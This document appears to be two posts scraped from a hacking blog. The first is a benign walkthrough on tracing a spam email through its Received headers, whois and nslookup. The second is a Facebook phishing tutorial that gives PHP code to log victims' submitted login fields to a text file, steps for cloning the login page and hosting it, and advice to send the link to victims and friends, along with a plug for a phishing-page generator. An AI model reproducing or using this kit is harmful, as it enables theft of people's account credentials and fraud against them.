0 Backtracking E-mail

.
Ask most people how they determine who sent them an email message and the response is almost universally, “By the From line.” Unfortunately this symptomatic of the current confusion among internet users as to where particular messages come from and who is spreading spam and viruses. The “From” header is little more than a courtesy to the person receiving the message. People spreading spam and viruses are rarely courteous. In short, if there is any question about where a particular email message came from the safe bet is to assume the “From” header is forged.

So how do you determine where a message actually came from? You have to understand how email messages are put together in order to backtrack an email message. SMTP is a text based protocol for transferring messages across the internet. A series of headers are placed in front of the data portion of the message. By examining the headers you can usually backtrack a message to the source network, sometimes the source host. A more detailed essay on reading email headers can be found .

If you are using Outlook or Outlook Express you can view the headers by right clicking on the message and selecting properties or options.

Below are listed the headers of an actual spam message I received. I’ve changed my email address and the name of my server for obvious reasons. I’ve also double spaced the headers to make them more readable.

Return-Path: < s359dyxtt@yahoo.com>

X-Original-To: davar@example.com

Delivered-To: davar@example.com

Received: from 12-218-172-108.client.mchsi.com (12-218-172-108.client.mchsi.com [12.218.172.108])

by mailhost.example.com (Postfix) with SMTP id 1F9B8511C7

for < davar@example.com>; Sun, 16 Nov 2003 09:50:37 -0800 (PST)

Received: from (HELO 0udjou) [193.12.169.0] by 12-218-172-108.client.mchsi.com with ESMTP id <536806-74276>; Sun, 16 Nov 2003 19:42:31 +0200

Message-ID:

From: “Maricela Paulson” < s359dyxtt@yahoo.com>

Reply-To: “Maricela Paulson” < s359dyxtt@yahoo.com>

To: davar@example.com

Subject: STOP-PAYING For Your PAY-PER-VIEW, Movie Channels, Mature Channels…isha

Date: Sun, 16 Nov 2003 19:42:31 +0200

X-Mailer: Internet Mail Service (5.5.2650.21)

X-Priority: 3

MIME-Version: 1.0

Content-Type: multipart/alternative; boundary=”MIMEStream=_0+211404_90873633350646_4032088448″

According to the From header this message is from Maricela Paulson at s359dyxxt@yahoo.com. I could just fire off a message to abuse@yahoo.com, but that would be waste of time. This message didn’t come from yahoo’s email service.

The header most likely to be useful in determining the actual source of an email message is the Received header. According to the top-most Received header this message was received from the host 12-218-172-108.client.mchsi.com with the ip address of 21.218.172.108 by my server mailhost.example.com. An important item to consider is at what point in the chain does the email system become untrusted? I consider anything beyond my own email server to be an unreliable source of information. Because this header was generated by my email server it is reasonable for me to accept it at face value.

The next Received header (which is chronologically the first) shows the remote email server accepting the message from the host 0udjou with the ip 193.12.169.0. Those of you who know anything about IP will realize that that is not a valid host IP address. In addition, any hostname that ends in client.mchsi.com is unlikely to be an authorized email server. This has every sign of being a cracked client system.

Here’s is where we start digging. By default Windows is somewhat lacking in network diagnostic tools; however, you can use the tools at to do your own checking.

davar@nqh9k:[/home/davar] $whois 12.218.172.108

AT&T WorldNet Services ATT (NET-12-0-0-0-1)

12.0.0.0 – 12.255.255.255

Mediacom Communications Corp MEDIACOMCC-12-218-168-0-FLANDREAU-MN (NET-12-218-168-0-1)

12.218.168.0 – 12.218.175.255

# ARIN WHOIS database, last updated 2003-12-31 19:15

# Enter ? for additional hints on searching ARIN’s WHOIS database.

I can also verify the hostname of the remote server by using nslookup, although in this particular instance, my email server has already provided both the IP address and the hostname.

davar@nqh9k:[/home/davar] $nslookup 12.218.172.108

Server: localhost

Address: 127.0.0.1

Name: 12-218-172-108.client.mchsi.com

Address: 12.218.172.108

Ok, whois shows that Mediacom Communications owns that netblock and nslookup confirms the address to hostname mapping of the remote server,12-218-172-108.client.mchsi.com. If I preface a www in front of the domain name portion and plug that into my web browser, http://www.mchsi.com, I get Mediacom’s web site.

There are few things more embarrassing to me than firing off an angry message to someone who is supposedly responsible for a problem, and being wrong. By double checking who owns the remote host’s IP address using two different tools (whois and nslookup) I minimize the chance of making myself look like an idiot.

A quick glance at the web site and it appears they are an ISP. Now if I copy the entire message including the headers into a new email message and send it to abuse@mchsi.com with a short message explaining the situation, they may do something about it.

But what about Maricela Paulson? There really is no way to determine who sent a message, the best you can hope for is to find out what host sent it. Even in the case of a PGP signed messages there is no guarantee that one particular person actually pressed the send button. Obviously determining who the actual sender of an email message is much more involved than reading the From header. Hopefully this example may be of some use to other forum regulars.

Source: Go Hacking

21 Phishing Facebook Tutorial

.
This tutorial will tell u abt how to make a fake login page and tap your victim by Phishing just as the way fish falls to the trap

1.) First part:Creating the Fake Login Page.

In this part of the tutorial I’m going to tell you have to make a fake login page.
This method works for most of the pages but i have chosen Facebook as an example.

Part 1:

First we create a PHP script that will save the passwords in a text file.

Part 1:

First we create a PHP script that will save the passwords in a text file.

1.) Open notepad and put this code:

header (‘Location: https://login.facebook.com/login.php’);
$handle = fopen(“passwords.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($ handle, “\r\n”);
fclose($handle) ;
exit;
?>

2.)Now save this as phishing.php

Note:

header (‘Location: https://login.facebook.com/login.php ’);

This URL is where the victim is redirected after logging in to you fake page.
The best way to do this is to go to the original site(in this case facebook) and try to login without username and password. Of course then the site will tell you that the username/password incorrect.Now copy that url and paste in that part of the phish.php script. As you can see the Facebook has got “https://login.facebook.com/login.php“

Now we have succesfully created the script that will save the password in a text file which will be later used to see logged victim password’s.

Part 2:

Now we go to http://www.facebook.com and right click / View Source.
Now we need to find the place where LOGIN button in facebook page send the user after clicking on it.
To do that we search for something like:

CODE

action=anything.

In this case we have:

action=”https://login.facebook.com/login.php?”

We replace that part with:

action=”phishing.php”

Then we copy the whole source and save this file as login.php.

Now upload these 2 files(login.php and phish.php) to a webhost that supports PHP and you ready to go. Just give your victim the link to your Login.php file and every time they login that php script will create a file titled passwords.txt in the same directory as login.php and phish.php.Just open the password.txt and you will see the passwords.

The phishing link should be something like this:

http://somewebhosting.com/login. php —> Send this to your victim

And the txt file with the passwords like this:

http://somewebhosting.com/passwords.txt —> View the passwords with this one.

Still having trouble with phishing??? i can make it much easier for u, Ma friend frm Cyber Terrorist Team have made a software for people like u, to make it simple… Just Download the Application frm here, these will generate all the necessary phishing.php and login.php for u, You just need to upload it in some web host and send the link to Your friends to hack passwords…

DOWNLOAD SUPER FISHING

How to Use it:

1. Enter the URL of the login page( any social network site) in the first text box…

2. Name of the log file : were the passwords of victim is stored, name it as u want ie. anyname.txt

3. Name of login page, mostly login.php

4. Redirection : enter the login page of the website, u wnat to phish, for ex: www.facebook.com is u wanna phish, You should make https://login.facebook.com/login.php this link there…

5. finally click Build Phisher, it will generate output…

Source: Go Hacking